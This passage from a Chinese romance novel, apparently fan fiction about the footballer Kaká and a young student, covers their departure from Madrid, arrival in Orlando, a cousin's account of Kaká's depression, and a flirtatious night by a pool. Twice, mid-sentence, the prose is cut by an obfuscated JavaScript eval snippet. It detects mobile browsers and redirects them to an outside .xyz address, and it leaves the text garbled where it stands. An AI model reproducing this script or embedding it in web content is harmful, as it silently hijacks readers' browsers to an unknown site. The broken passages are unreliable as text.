“这并非徒劳。”我注视着他,继续说道。他的瞳孔微微放大,仿佛预感到我的言语将在他心底掀起一种新的波澜。他的目光在我的眼中探寻着。 “因为,我知道你的每一种感受,我懂得你的心。所以,这绝不是徒劳。或许你会认为我这样讲很自负。但我真的想要告诉你,任何能给你带来幸福的事物,同样也会让我感到幸福;而那些令你痛苦的经历,也会让我感同身受。我真的想要保护你,让你免受痛苦的侵袭。我渴望我的力量会成为你的力量,我的勇气也会变为你的勇气。而抛开这一切回到原点,至少我懂得你的坚持,这更使你的坚持绝非是一种徒劳。” 我说完这番话后,我们陷入了长久的沉默,直到拉斐尔满是困惑的声音打破寂静。 “抱歉?”画家在扶手椅上局促地动了动,目光在我们两人之间游移不定,显得十分茫然,“可我实在弄不明白你们在说什么。我们的话题进展到哪儿了?还是说你们在互诉爱意呢?我是不是该先回避一下,免得打扰你们?” 他话音刚落,我和里卡多便不约而同地低声笑了起来。 “我们在讨论去海边旅行的事呢。”里卡多垂下肩膀,轻松道。 29. 回到奥兰多 和里卡多一起回奥兰多,这是我们早就计划好的事情。我们都不想这么快就分开,况且我本就想去美国看他比赛,因此,一同出发便成了顺理成章的事。 九月下旬,他将投身美职联的两场赛事,一场是9月20日,奥兰多城主场迎战纽约红牛;另一场则是9月26日——非常凑巧,球队将前往芝加哥,客场挑战芝加哥火焰。 “到时候你可以和我们一起去芝加哥。”里卡多捧着一本园艺杂志说,这是他从客厅的杂志架上随手抽出来的。 “和球队一起吗?”我眨了眨眼,当时我正惬意地倚在他怀中,目光随着他的翻阅,断断续续地落在那页文字上: 野生蔷薇通常不易遭受病虫害的侵袭,而人工栽培的蔷薇,却常受锯蜂、蔷薇叶蜂……(一连串专业的病虫害名称)等困扰。对付这些棘手的病虫害,除了喷洒药液,还可以巧妙地通过与其他花木搭配种植来加以预防…… 比如一些低矮的灌木或者地被植物?我琢磨着,薰衣草、鼠尾草、百里香、矮牵牛,似乎都是不错的选择。 他轻轻“嗯”了一声,接着说道:“比赛结束后,我打算在芝加哥多逗留几日。帮你办好提车手续,再租个房子——” “租房?”我的注意力瞬间被拉了回来,匆忙间想转头看向他,却因动作太过急切,冷不丁磕上了他的下巴颏,我们俩同时“哎呦”了一声。 “没事吧?”我连忙伸手揉了揉他的下巴。 他将杂志搁到一旁,露出哭笑不得的神情,抬手摸了摸我的额头:“我没事,倒是你,有没有撞疼?” 我摇了摇头,重新依偎回他胸前,想起刚才的对话。 “你要在芝加哥租房子?” 他应了一声,仿佛这件事本就毋庸置疑。“以后我肯定会经常去芝加哥看你,为了方便,租个房子是最好的选择。其实长期租豪华酒店的套房也可以,可比不上住自己的房子自在。要不我直接买套房子?你至少还要在芝加哥读三年大学呢。对了,甜心,能和我讲讲你今后的规划吗?” 我的规划嘛……我微微眯起眼睛,整理了一下思绪。 “我学的是人类学,这是个涉及面很广的学科。学校在本科阶段给我们安排了很多跨学科的课程,所以我本科的目标是尽可能多地去涉猎,找到自己最感兴趣的细分方向。同时,我也想积累一些实习和科研方面的经验。我打算大四的时候,申请学校的MAPSS项目,这对我之后申请本校的PhD会是很好的助力。” “听起来很不错。这是我从没接触过的领域。”里卡多一下下捋着我的头发,感慨道,“但这样会不会让你压力很大?我了解过芝加哥大学,它以浓厚的学术氛围和对学生近乎严苛的高要求而出名。” “我在芝大已经读了一年书啦,对自己的学习能力和抗压能力还是很自信的。”我眉眼弯弯,伸手捏了捏他的脸颊,“其实,我想读博,不单单是受家庭影响,更因为我对人类学充满兴趣。而且,我感觉自己身上有一些特质,挺适合在学术这条路上走下去的。” “既严谨理性,又大胆且充满想象力。”里卡多总结道。 “还能忍受孤独。”我歪着头,补充了一句。 “嗯。”他微微挑了挑眉,语气里悄然掠过一丝若有若无的苦涩,“这么说来,未来那些我没法陪在你身边的日子,你也能应对自如了。” 我愣了一下,一时间竟有些难以分辨,他这话里究竟是玩笑的意味更浓,还是借着看似轻松的玩笑来掩饰对我们即将面临异地恋情的担忧。 他有这样的顾虑再正常不过,毕竟常年异国分居,是他和前妻感情破裂的重要原因之一。 他的话中似乎隐藏着某种预感,是他对未来不确定性的隐忧。我暗自叹了口气,我更心疼这个男人了。 我托起手掌,用力将自己撑起来一些,从上方静静地注视他。 “中国有句古老而优美的诗:‘两情若是久长时,又岂在朝朝暮暮。’我希望每时每刻都能和你在一起,但如果我们必须面对分离,那么时间和距离也无法削弱我对你的爱。甚至——” 我斟酌片刻,寻找最能传达我内心情感的表述,“我们的爱会迫使我更能忍受孤独,让我更努力地去成为更好的人。” 我留意到他浮出了惊讶的神色,便继续说:“因为你真的很优秀,卡卡先生。在你身边,我或许可以做一个无忧无虑、光彩照人的小姑娘,在你的豪宅里开泳池派对,坐着你的私人游艇全世界玩耍,挽着你的胳膊出入目迷五色的晚宴和星光熠熠的红毯。就像网上大家讨论的那样—— “‘这个女孩的生活在一夜之间彻底不一样了,她收到了上流社会递给她的永久入场券’。但我们都清楚,那并不是你真正喜欢上的我。而如果我真能心安理得地成为那个徒有其表、内心空洞的‘卡卡附属品’,那么我才真的配不上你的爱。” 他的神色逐渐从诧异转为专注,最终,一抹微笑情不自禁地爬上了他的嘴角。 “‘……我们眼前所见的蔷薇花朵,充其量只是一个被冠以“美丽”之名的娇嫩外壳,任何花园里的精心培育都比不过它在野外的自由生长。这种野性盛放的蓬勃,是任何语言都难以形容的伟力,是真正的美的精灵。’”他低声念道,引用的正是我们刚才一同翻阅的那本园艺杂志中,关于“Rosa salvaje”专题的一段文字。 “不过,甜心,我想稍微纠正你一下。” 他手臂轻轻一收,把我重新揽入怀中,接着深深吸了一口气,就像是一只熬过漫长冬眠的熊,在春日里被初绽的新芽和花苞的气息唤醒,浑身洋溢着新生的满足。 “在我的专业领域,或许我有幸取得了一些微不足道的成就,也得到了一些人的喜爱;但在广阔的世界里,在其他诸多领域,我依旧只是个刚刚起步的初学者,所以我只愿始终保持一颗谦逊而敬畏的心。而你,佐伊,在我眼中,你已经是很好的你了。毫无疑问,你值得我全心全意去爱。” 我轻捏着他的手,陷入了久久的沉默。 “你在想什么?”他反握住我的手,忍不住问道。 “你有没有想过,我们爱上彼此可能并非偶然。” “你是指这是一种必然?” “我们的相遇无疑是一场巧合——是在那张由无数相互靠拢、分歧、交错或永远互不干扰的时间蛛丝织成的庞大网中的一次偶然交汇;但我们相爱却是必然。我们注定会坠入爱河。” “我完全认同这一点,但我还是有点好奇,你开始相信宿命论了吗?” 我莞尔一笑,抬起手指,描摹着他下颌的轮廓。 “你有没有听过这样一种说法——‘当你爱的时候,你不要说“上帝在我心中”,却要说“我在上帝的心里”’。你欣赏我的勇敢,实则是因为你也深爱着潜藏在你自己心底的勇敢;我倾慕你的热忱,因为我同样对我内心燃烧着的炽热而感到欣喜。” “因为我们在彼此身上看到了自己?”他喃喃道,“那么,爱究竟是一种共鸣,是相互吸引的回响;还是一场为了满足自我的追寻,完整自己的旅途呢?” “为何不能两者兼得呢?如果说爱的初衷是为了追求自身的完善,那么它所激发的共鸣,无疑会让我们更加欣赏和珍视彼此。这种情感的交融又会反哺我们自身,让我们得以从全新的维度审视自己。在理解爱人的同时,也真正理解了自己;在接纳对方的爱意时,也毫无保留地接纳了那个完整的自己。 “所以,我们注定会爱上彼此,正如我们天生就懂得如何爱自己一样自然。只是这种自爱的能力有时会被暂时蒙蔽,但它总会重新被唤醒。” 微笑使得他下颌的线条变得很柔和,我的指尖轻轻滑过他饱满而湿润的下唇,于是唇线波荡起伏,如同在幽谷之中回荡的轻风。 “佐伊——” “嗯?” “你总能让我拥有新的力量来更爱你。” - 我们启程离开马德里的那天,克里斯也特意赶到机场为我们送行。 尽管他把自己裹得严严实实,从头顶到脚尖密不透风,可身后还是鬼鬼祟祟地跟着几个记者。不难想象,大概半小时后,网上就会冒出一篇诸如“昔日皇马双子星机场世纪碰面!”的劲爆新闻。 “以后我是不是能经常在马德里见到你了?”克里斯半开玩笑地问道。 我和里卡多相视一笑,默契地点了点头。 “告别的话我不想说太多,祝福的话也不必赘述。下次你回马德里,记得一定带上佐伊,再来我家做客。” “我会的。”里卡多承诺道。 两人沉默了一会儿。我轻轻推了推里卡多,递给他一个鼓励的眼神。他轻叹一声,随即绽放出一个灿烂的笑容,迈步向前,向克里斯展开双臂。克里斯微微一愣,但很快耸了耸肩,欣然接受了里卡多的热情。 于是,这两个曾经意气风发、并肩作战、携手登顶,拥有着共同四年的男人紧紧拥抱在一起。 命运的齿轮曾将他们严丝合缝地嵌为一体,又在不停地转动中令他们各自远航,渐行渐远。 但时间永远会为追逐风的少年们所驻足。 “Me and Kaká” - 果不其然,两位球星的身份还是被眼尖的西班牙球迷们识破了。 “嘿!罗纳尔多在这儿!” "他旁边那个看起来更壮的是不是卡卡?" “是他们!” “快,赶紧去要签名啊!” “喂!明明是我更强壮好不好!”克里斯的抗议声很快就被激动的人群淹没了。 趁着克里斯成功吸引了众人的火力,虽说这么做有点不厚道,但我和里卡多还是在助理以及机场工作人员的陪同下,快步走向了专车。它会直接把我们送至停机坪,好让我们顺利登上早就预定好的私人飞机。 飞机起飞前,里卡多的手机骤然响了起来。他接通电话,听着电话那头的声音,眉头不自觉地皱成了一团。 “是工作人员打来的?”他挂断电话后,我忍不住开口问道。 他先是点头,旋即又摇头:“是我的堂哥丹尼尔。今年他一直在美国陪着我。你上次去奥兰多的时候,他刚好回巴西了。下午他会到奥兰多机场来接我们。” “那很好呀。”我有些惊讶,不明白他为何会是这样一副凝重的神情。 他的睫毛不由得颤动了几下,嘴角微微下垂,划出一道满是犹豫的弧线。“丹尼尔还跟我说,他接到了卡洛琳的电话。”他看向我,迟疑着没有说下去。 我愣了一下,下意识地重复道:“卡洛琳?” “她在网上看到了一些新闻,就跑来质问丹尼尔,问我是不是真的交了新女友,甚至还特意在联赛期间飞到马德里去陪她。丹尼尔说他并不清楚这件事。他问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14956415|160973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我要是卡洛琳再来问他,他该怎么回答。” “可是,卡洛琳为什么不直接来问你呢?”我满心困惑,不解地问道。 他叹了口气:“她带着孩子们回巴西后,就再也没接过我的电话。她是不会主动来问我的。” “为什么?”我更加疑惑了,“就算是为了孩子们,你们也应该维持一定的良好关系吧。” 他沉默了一会儿,牵起我的手,十根手指牢牢扣在了一起。他凝视着我们相握的手,苦笑道:“因为面对我,她永远都不肯低头,就像一只永远美丽骄傲的白孔雀。”他轻轻摇了摇头,“算了,不去说她了。除非是涉及到卢卡和贝拉的事情,否则我也不愿意主动联系她。” - “我真的完全没想到,他现在的状态和一个多月前比起来,简直是判若两人!这些年,里奇一直被伤病和状态下滑的问题折磨,心情本就有些抑郁。结果卡洛琳偏偏在这个时候要和他离婚,还把两个孩子都带走了,就这么把他一个人丢在美国,对他来说简直是雪上加霜。我一看情况不对劲,立刻从巴西飞过来陪他。虽然他在我面前拼命装作若无其事的样子,但我看得出来,他只是在强颜欢笑。” 丹尼尔是个身材魁梧的巴西男人,性格热情直爽,说起话来语速飞快,一口巴西葡语带着浓重的口音。 我们站在一旁,看着里卡多在工作人员的围护下,脸上挂着温和的笑容,为球迷们签名。 “那时候,我们都忧心忡忡,生怕他熬不过去了。”丹尼尔满是感慨,唏嘘道,“博斯科和西蒙妮不停地给卡洛琳打电话,希望她能让卢卡来美国陪陪他爸爸,哪怕就几天也好。可她始终不肯答应。一直到西蒙妮亲自登门拜访,费尽唇舌,她才勉强松了口。嘿,你还别说,卢卡一来,里奇的精神状态立马就有了起色。对了,就是他带着卢卡去萨拉索塔游玩的那几天,遇见了你,对吧?” 我点了点头,丹尼尔惊奇地看了我一眼。“我本来都以为卢卡回去之后,他的抑郁又会卷土重来。没想到他居然遇见了你。哈哈,这真是上帝的安排!他还跟我提起过你呢,就在我送卢卡回巴西的前一晚。” “他是怎么说我的?” 丹尼尔微微偏过头,目光有些放空,似乎陷入了回忆:“他当时的情绪很不一样。很长一段时间,他整个人都显得十分消沉,寡言少语,仿佛生活中已经没有任何事情能让他开心起来了。但那天晚上,他就像被注入了全新的活力,情绪高涨,眼神中满是光彩,可又隐隐透着一丝纠结,就好像一下子回到了年少时,变成那个被爱情搅得满心困惑、不知所措的毛头小子。 “他对我说,他在海边遇到了一个很迷人的女孩,可她太年轻了,而他现在的状态又糟糕透了。他很犹豫,不确定自己是否还有勇气和能力去开启一段新的感情。我就说了很多鼓励他的话。” 我怔了怔,这是我第一次从里卡多的亲人口中,得知他曾深陷抑郁的过往。虽然我早已对他的情况有过一些猜想,但直到此刻,那些模糊不清的揣测,才终于得到了实实在在的印证。 “那晚我和他聊了很久,以至于第二天早上我和卢卡差点赶不上飞机。回到巴西后,我心里始终放不下这件事,一心想着赶紧把手头的事情处理妥当,好尽快赶回美国。可谁能料到,当地政府的办事效率低得像老式座钟,拜托,我不过就是开一些证明而已,居然足足拖了我半个多月!我给里奇打电话,一心想问问他和那个女孩——哦,也就是你——的情况,可他每次都含糊其辞,把我急得抓耳挠腮,对你好奇得不行。 “我本想为他保守这个秘密,可我太太很快就觉察出异样。我实在没逃过她的追问,只好一股脑全说了。没想到她转头就告诉了西蒙妮。这下可热闹了,大家都跑来问我,我哪能知道那么多啊!大家都不敢直接去问里奇,生怕一不小心刺激到他,就围着我反复打听,还说我明明是去美国照顾里奇的,结果我啥也不清楚。好在后来西蒙妮和里奇视频时,看到他状态明显好了很多,我这才逃过了埋怨。 “之后我好不容易把事情办完,心急如焚地飞回奥兰多,里奇却不怎么搭理我了。他每天训练回来就把自己关在房间里,忙着和你打视频电话——” “那个时候你也在?”我吃了一惊。 “我可没在房间里!我在门外呢。他把门关得死死的。”丹尼尔一脸委屈地解释道。 “你想偷听?”我眨了眨眼。 “我不是故意偷听的。咳咳,好吧,我确实是有点想听,可里奇说的是西班牙语,而且还说得飞快,我根本就听不太懂。”丹尼尔有点不好意思地坦白道。 难怪那时候里卡多和我视频时总爱说西语,他当时说是想保持语言熟练度,以免生疏,现在看来,原来还有防止某人偷听的这层用意。 我恍然大悟的表情,让这个棕色脸膛的巴西大高个显得有些羞赧,局促地挠了挠后脑勺。 “呃,后来就是里奇去堪萨斯城比赛。”他像是生怕我继续追问,语速快得像上了发条,“比完赛他给我发了条信息,说不回奥兰多了,要连夜去马德里。当时我就猜到,他肯定是去见你。之后,西班牙小报记者把你俩的视频和照片传得全网都是。我们全家自然都知道里奇恋爱了。” 说到这里,他宽慰地长舒了一口气,眉开眼笑地说道:“佐伊,我们一家人都很感谢你。说真的,我们已经太久太久,没有看到里奇这么幸福的样子了。” 30. 烟花之下 当我们从机场返回金橡树庄园时,天空已经染上一抹淡淡的酡红。用过晚餐,夜幕宛如一块巨大的黑色绸缎,悄然无息地将整个世界笼罩。 “丹尼尔明天就会回巴西。”我站在这座静谧的古典维多利亚式豪宅的庭院里,里卡多从我身后走来,轻声说道。 我惊讶地转过身,目光落在他身上。 “他在美国停留得太久了,他的妻子和孩子们都非常想念他。”他解释着,走到我身旁。 我迟疑了一瞬:“可我不在奥兰多的时候,你一个人待着没问题吗?” 他微微一怔,“丹尼尔都告诉你了?” 我点点头,担忧地端详着他。 他动了动嘴角,似乎想说些什么,却又释然地笑了笑,而后温柔地牵起我的手。 “还记得我和你说过的吗?”他俯下身,脸庞凑近,他的唇几乎紧贴着我的耳廓,“你的出现,让我的生活不再是一片充满灰烬和空洞的废墟,而是变得绿意盎然。这绝非夸大其词,而是我的真心话。我知道这段时间外界对我们有很多议论,但他们不会了解,我才是那个该心怀感激的幸运之人。” 身后的白色宅邸里,水晶吊灯倾洒下万千光芒,从每一层的无数扇玻璃窗透射而出,彷如一片悬浮于我们头顶的柔黄迷雾,轻柔地萦绕着窗棂、山墙、尖顶和花园,在泳池清澈的蓝色水面上闪烁着粼粼波光。 我轻叹一声,侧身迈步,握住他的另一只手。“我不明白这个世界怎么会忍心伤害你。” “我只需要我爱的人爱我。”他答道,“所以,别为我担忧。只要我知道你爱我,只要我知道我还能亲吻你,那么一切都会变好。” 这个男人简直令我心醉。 我的胸腔里就像住进了一只急切渴望投入天空怀抱的、振翅欲飞的白鸽。 我松开他的手,双臂忽地环绕住他的腰,然后借力踮起脚尖。他结实而饱满的侧腰肌肉在我的手掌下骤然收紧。 他微微低下头,而我恰到好处地抬起脸庞。旋即,我们的双唇相触,恰似蔷薇与鸟儿轻吻。 - “卢卡知道我们在一起了吗?”我们沿着这座大理石砌成的不规则泳池慢慢踱步。 “我不知道。”他叹了口气,“我上次见到他还是八月初。西蒙妮有时候会给我发些孩子们的视频,但她也不常去卡洛琳那里。” “我特别想念他们。”他苦笑着说,“我知道她这是在惩罚我——怪我这些年执意留在欧洲联赛,没把她的想法放在第一位。或许,我确实不是个称职的丈夫。” “拿孩子去惩罚孩子的父亲。”我的声音虽然平静,眼睛里却现出了一股冷冷的怒火。 我无意对他前妻的行为妄加评判,毕竟他们携手走过了九年婚姻,个中酸甜苦辣只有他们自己清楚,外人实在没资格说三道四。然而,我无法眼睁睁看着我心爱的人遭受如此无情的折磨 。 “无论你是否想要争取孩子的抚养权,我都会支持你的决定。” “我想争取。”他坦率道,“但现在孩子们还太小,尤其是伊莎贝拉,她才四岁,这个时候他们更需要妈妈的陪伴。或许,等他们再长大一些,我可以接他们来美国上学。” 说着,他稍显迟疑,目光投向我:“当然,我肯定会尊重你的想法。甜心,你介意以后和孩子们一起生活吗?要是你不愿意,我就定期飞去巴西看他们。” “一点也不介意。你该不会以为我之前说不想太早要孩子,是因为不喜欢小孩吧?”我纳闷道。 “我没有这么想。”他急忙解释,“我知道你和卢卡玩得很好,但长期和孩子们生活在一起,又是另一回事。” “他们是你的孩子。托他们爸爸的福,我也爱屋及乌,很喜欢他们。”我俏皮地说,“尤其是,他们的爸爸魅力十足,时常令我魂牵梦萦、意乱情迷。要是他肯让我看看他不穿衣服的样子,那就更完美啦。” 他原本感激的神色,立马被一副既好气又好笑的表情所取代。“我们得等到结婚以后才能……”他郑重其事地提醒我。 我故作无奈地长叹一声:“某些人孩子都生了两个了,却比我这个小姑娘还要纯情。” 他微微一笑:“纯情?小狐狸,会有机会让你感受我是否‘纯情’的。” 我抓着他的手,侧身轻快地跨出几步,踏上了泳池边缘。 “天使先生,你知道吗,我可以在教堂的拱券、花园的喷泉,还有米开朗琪罗的壁画里,观赏到形形色色的裸体天使,却不能看到近在咫尺的这个。”我在池缘上转过身来,平视着他的眼睛,一绺发丝从耳边滑落,随着我的动作轻轻晃动。 他稳稳地扶住我,回应道:“我得提醒你一下,你见过我没穿上衣的样子。” “是呀,”我开始在池缘上迈步,就像一个在平衡木上翩翩起舞的体操运动员,“但那只是PG级别的画面,”我顽皮地冲他吐了吐舌头,“适合几乎所有年龄段的女士们欣赏,但对我来说,显然意犹未尽。” 他恍然大悟般地“哦”了一声,接着说道:“如果你期待看到R级画面,恐怕我要让你失望了。” “就不能来点成年人的镜头吗?”我义正词严道,“你忍心看到我开学后被我的朋友们嘲笑,明明身边有个大帅哥,我却连三垒都没上吗?” 他微抬眉梢,“我觉得你不会在乎别人的说法。” 我很响亮地哼了一声。 - “这座泳池的设计真是独特,它好像两枚挨在一起的铃铛。”我们绕着池岸走了一圈后,我突发奇想道。 “也像两颗长在一起的心。”他补充道。 “既是铃铛,也是两颗心。一枚铃铛晃动起来,另一枚也会发出脆响;一颗心快乐起来,另一颗也会漾起愉悦。” 我话音刚落,便察觉到他握着我的手微微一紧。 泳池中漂浮着秋日里飞马座的几颗湛蓝星星,是天鹅绒般漆黑的天穹上闪着光的婚戒。 忽然,远处传来烟花升空的巨响,水里的蓝宝石光辉微微颤动了两下。 我们一同仰头望去,一道道燃烧的光球托着绵长的轨迹冲上天空,于是整片夜幕都被成千上万同时盛放的烟花淹没了,那炙热的色彩犹如白昼的阳光在照耀。 “迪士尼的烟花时刻。”他微笑着说。 “真令人震撼。”我失神道,紧紧凝视着那些流光溢彩的焰火,那些从天而降的,光的瀑布。 我情不自禁地向前倾身,仿佛只要再靠近一点,就能将这些绚烂尽数揽入怀中。里卡多的手掌猛然用力,他拽上我的胳膊,用他的力量帮我保持平衡。 我下意识转过头,与他的目光相遇。在那一刹那,我绽放出一个灿烂的笑容,随即整个人像是突然脱力一般,往泳池里倾斜而去。 在他惊愕的目光中,我带着他一起坠入了水中。 水花轰然溅起的那一刻,我的爱人抓着我的手,我们的身边沉睡着闪着微弱蓝光的遥远星辰,而我们的头顶上,是人类巧夺天工的杰作——那是由无数烟火编织而成的、璀璨夺目的梦幻星空。 “佐伊!”他大声呼唤着我的名字。我们破水而出,水珠四溅,如同珍珠项链散裂在空中。 “今晚我们有烟花,有星星,还拥有了整个宇宙!”我兴奋地高喊,带着一身清凉的水花朝他而去。 他接住了我,于是我们的身体又一次浸入水面。我的长发在水中轻盈游动,我用双臂揽着他的脖子,毫不犹豫地送上我的唇。他在水下惊惶地睁开眼,瞳孔里倒映出我的蓝绿色眼眸。 我们在柔波荡漾的天穹里亲吻,周围泡满了餍足的星子,它们遨游着,吮吸着月亮的乳汁。 烟火的细长尾光穿越环状彗星带,从五十光年之外飞翔而来,我们亲吻着银亮的、金色的泡沫,亲吻着泥土的黑褐色和比碧波还蓝的翠鸟,亲吻着彼此的翅羽和幽香。 “我的力量就是你的力量,我的吻就是你的鳍,它将打碎你的锁链,释放你的灵魂,我们将一同飞向乌托邦。” “我们会一同飞往乌托邦,亲爱的。”我低语,用双臂紧紧拥抱着他,“你遇到过最糟糕的事,你被生活流放,这些含氯的池水在我们嘴里发涩发苦,但那又何妨?我们一同擦掉歇斯底里的霉斑,我们一起来奚落挫败、荒诞和混沌,我们把过去的不幸都吞噬,就像蚁群似的线形礁岛在风暴的哮喘中消弭无踪,我们在海浪的摇床上向远方淌去,与叛逃的白鸽一起向黎明振奋,你将会亲吻我,永远亲吻我。我们将在鸟群之上,飞往乌托邦。” 他战栗着,像一具冷得出奇的壮丽的水中浮尸,却忽而浑身散发出热气,殷红的血液随着水流和纷至沓来的思绪循环涌动;他脆弱得像一只在热带雨林里穿梭、不小心沾湿翅膀的蝴蝶,又狂乱得如同九月里的霹雳劈开晴空。 他低下头,化作海雾里的温柔巨兽,疯狂撕咬我的嘴唇。 - 烟花的盛宴倏尔消散,夜晚重回塞勒涅的怀抱。 “明晚我们去迪士尼看烟花吧。”我的恩底弥翁对我说,“我会预订一个最佳位置。” 我的视线流连在他那几乎透明的白衬衫下。 “人群里的烟花,怎么比得上我和我的天使在天穹中看到的?”我笑意盈盈,亲吻上他光滑的、遍布水珠的锁骨。 - 当里卡多拿来一条干净的速干浴巾,轻柔而又迅速地将我从头到脚严严实实地包裹起来,然后用一双肌肉结实的手臂从我的双膝下穿过去,将我横抱起来时,我不禁发出了抗议。 “为什么你可以把自己擦干,而我却只能被裹得像个粽子?” 他充耳不闻。“现在已经是秋天的晚上了,你会感冒的。” “擦干就没事了。”我嘟囔道,双手牢牢圈住他的脖颈。他抱着我,就像抱着一个大号洋娃娃,轻松得仿佛我毫无重量。 “你力气还真不小。” 他双眉一挑,抱着我稳步走进客厅。“我是个运动员。况且你很轻,甜心,你得多喝点牛奶、果汁,再吃点牛肉。” “那我要吃炸鸡、披萨、冰淇淋、芝士蛋糕、海鲜饭……”我开始一口气报出一长串食物,“……糖醋排骨、菠萝咕咾肉、松鼠鳜鱼、锅包肉、拔丝地瓜。” “最后这几样是什么?”他惊奇地问。 “是糖醋排骨、菠萝咕咾肉、松鼠鳜鱼、锅包肉和拔丝地瓜。”我斩钉截铁道。 “你只是把它们重复了一遍。”他狐疑道。 “哈哈,好吧。”我笑到浑身打颤,把头歪在他的颈窝里,“这些是中国菜,口味都是酸酸甜甜的,特别好吃。” “我在美国吃过中餐。”他回忆道,抱着我走上楼梯,“和我在中国吃的不太一样,不过味道也是酸酸甜甜的。” “你吃的该不会是左宗棠鸡和香橙鸡?” 我瞪大了眼睛。 “好像是。还有幸运小饼干。” “那些简直是异端!”我激动地说,“是对中餐的亵渎!” “别乱动。”他把我抱得更紧了些,无奈道,“真有那么严重吗?” “严重程度就好比菠萝披萨在意大利人眼中那样不可理喻!” “呃——”他一时语塞,片刻后才说道,“那你不是挺喜欢吃菠萝披萨的吗?” “那不一样!我是一半的中国人,我又不是意大利人。”我振振有词道。 - “你们回来啦?要不要一起去影音室,看——个——”丹尼尔从房门探出头来,脸上原本洋溢的笑容,在看到我们的瞬间,像被定格般凝固了,“电——电影?”他又像升格镜头里的慢动作小人似的,结结巴巴地把话说完。 “呃,我们刚才去游了个泳。” 三人六目相对,里卡多站在走廊里,神情尴尬地解释道。 “没穿泳衣?”丹尼尔瞪着他裸着上身、休闲短裤皱巴巴黏在腿上的样子,又将目光投向被他横抱着、浑身裹在浴巾里的我,脸上满是“你别开玩笑了”的表情。 “咳,” 里卡多清了清嗓子,不自然地说道,“忘记穿了。” “情况很突然。”我补充道,“你知道的,有时候就是会心血来潮,有一种想跳进水里的冲动。” “连换泳衣的时间都没有?”丹尼尔怀疑地问。 “确实来不及。”我一本正经地说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14956416|160973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “好吧。”这个巴西汉子耸了耸肩,“那我先下楼去了。你们等会儿来吗?” “来。”我和里卡多异口同声地回答。 “劳驾,帮我拿点薯片和爆米花过去。”我对他说,感受到里卡多从上方投来的目光,又连忙补充道,“还有苹果汁。我们得注重健康饮食。” “呃,薯片、爆米花搭配苹果汁?这很健康吗?”丹尼尔一脸迷惑,伸手挠了挠头。 - “我应该请我的营养师为你也制定一套每日食谱。”里卡多将我安置在客房的沙发上,若有所思道。 “我想我不需要。”我干巴巴道,“你不是觉得我应该增重吗?” “你应该健康增重。多吃些富含优质蛋白的健康食物,而不是摄入大量黄油、糖和脂肪。” “那看来我得离你远点儿才行。”我忽闪着眼睛,半开玩笑地伸手扯住他的胳膊,不让他起身离开,“你可比爆米花甜多了。你就是我的杏仁布朗尼,我的甜蜜小蛋糕。” 他微笑着俯身看向我,我把碍事的浴巾扯到一边,伸出手指,轻轻捏住他的下巴,把他拉得更近了些,然后坏心眼地伸手挠向他的痒处。 他下意识地想要躲闪,却被我紧紧拉住,身体瞬间失去平衡,整个人不受控制地朝我倒来。在那一瞬间,他凭着本能迅速做出了反应,及时支起手臂和手肘撑在软垫上。 “压到你了吗?”他关切地问我,此时他的大臂肌肉紧绷,健硕的身躯在我上方投下一片柔和的阴影。 “我希望有。”我微微仰头,将温热的气息吐在他的脸庞上。 他浑身的血液飞快地起了波动,两颊如同被玫瑰色的云霞染上,浮起了迷人的晕影。他的胸膛离我仅有几厘米之遥,结实的大腿肌肉隔着衣物与我湿热的肌肤相触,我们都敏锐地察觉到,他身体的某个部位正发生着难以名状的微妙变化。 “甜心,”他的呼吸变得紊乱,神情满是窘迫,“我恐怕得起来了。” “你不想。”我用手背轻轻摩挲着他滚烫的脸颊,低声呢喃,“我也不想。” “丹尼尔还在等我们一起看电影,你还要去冲个澡。”他似乎在努力调动理智,试图平息这股不断升腾的冲动。 “那我们一起去冲澡。” “这怎么行?”他的瞳孔遽然放大了。 “不同意?”我的双臂牢牢锁住他的腰,双腿如同柔韧的藤蔓,攀附上他的腿,“那今晚就不放你起来了。” 他湿透了的棕发温驯地向后匍匐着,发丝间闪着晶莹的水光,那双小鹿般纯良的褐色眼睛,正以一种难以置信的神情,直直地看着我。 我忍不住轻笑出声:“你这副表情,简直就像一个无辜的青少年,而我则是那个在酒吧里欺负你的恶棍。” “我们真的不能这样。”他的声音中带着一丝无助,他轻微地挣扎着,试图起来。 我的指尖从他的骶骨开始,沿着他身体流畅而优美的曲线缓缓向上滑动,感受他因我的触碰而产生的兴奋颤栗。 我细致地掠过他的整条脊柱,一路攀升,直至抵达他的颈后。那里的肌肤滚烫,脉搏跳动得愈发急促。我的双腿不自觉地抬高了几寸,更加用力地盘上了他的腰。 “你可以挣脱,但那样可能会弄疼我。”最后两个词,我在他耳边咬得又轻又软,像晚风在窃窃私语,又似欲望女神在婉转低吟。 “佐伊——”他嗓音低沉,叫着我的名字,他整个人都红透了。 “看来你不太乐意和我一起去洗澡呀,难道是更喜欢和我这样抱着,做点别的有趣的事?”我继续逗弄他。 他深吸一口气,手臂用力,自己撑起来一些,“上帝在看着我们呢。” “上帝看不着,祂忙着上班呢。”我认真道,“而且以上帝的道德,我相信祂不会偷窥人类的私密活动。” “丹尼尔还在这儿。”他泄气地看着我。 “丹尼尔在你就害羞了?”我惊奇道,“在马德里的时候,我们在大庭广众下亲昵,你都不会害羞,甚至很主动。” “在家人面前感觉不一样。”他的脸更红了。 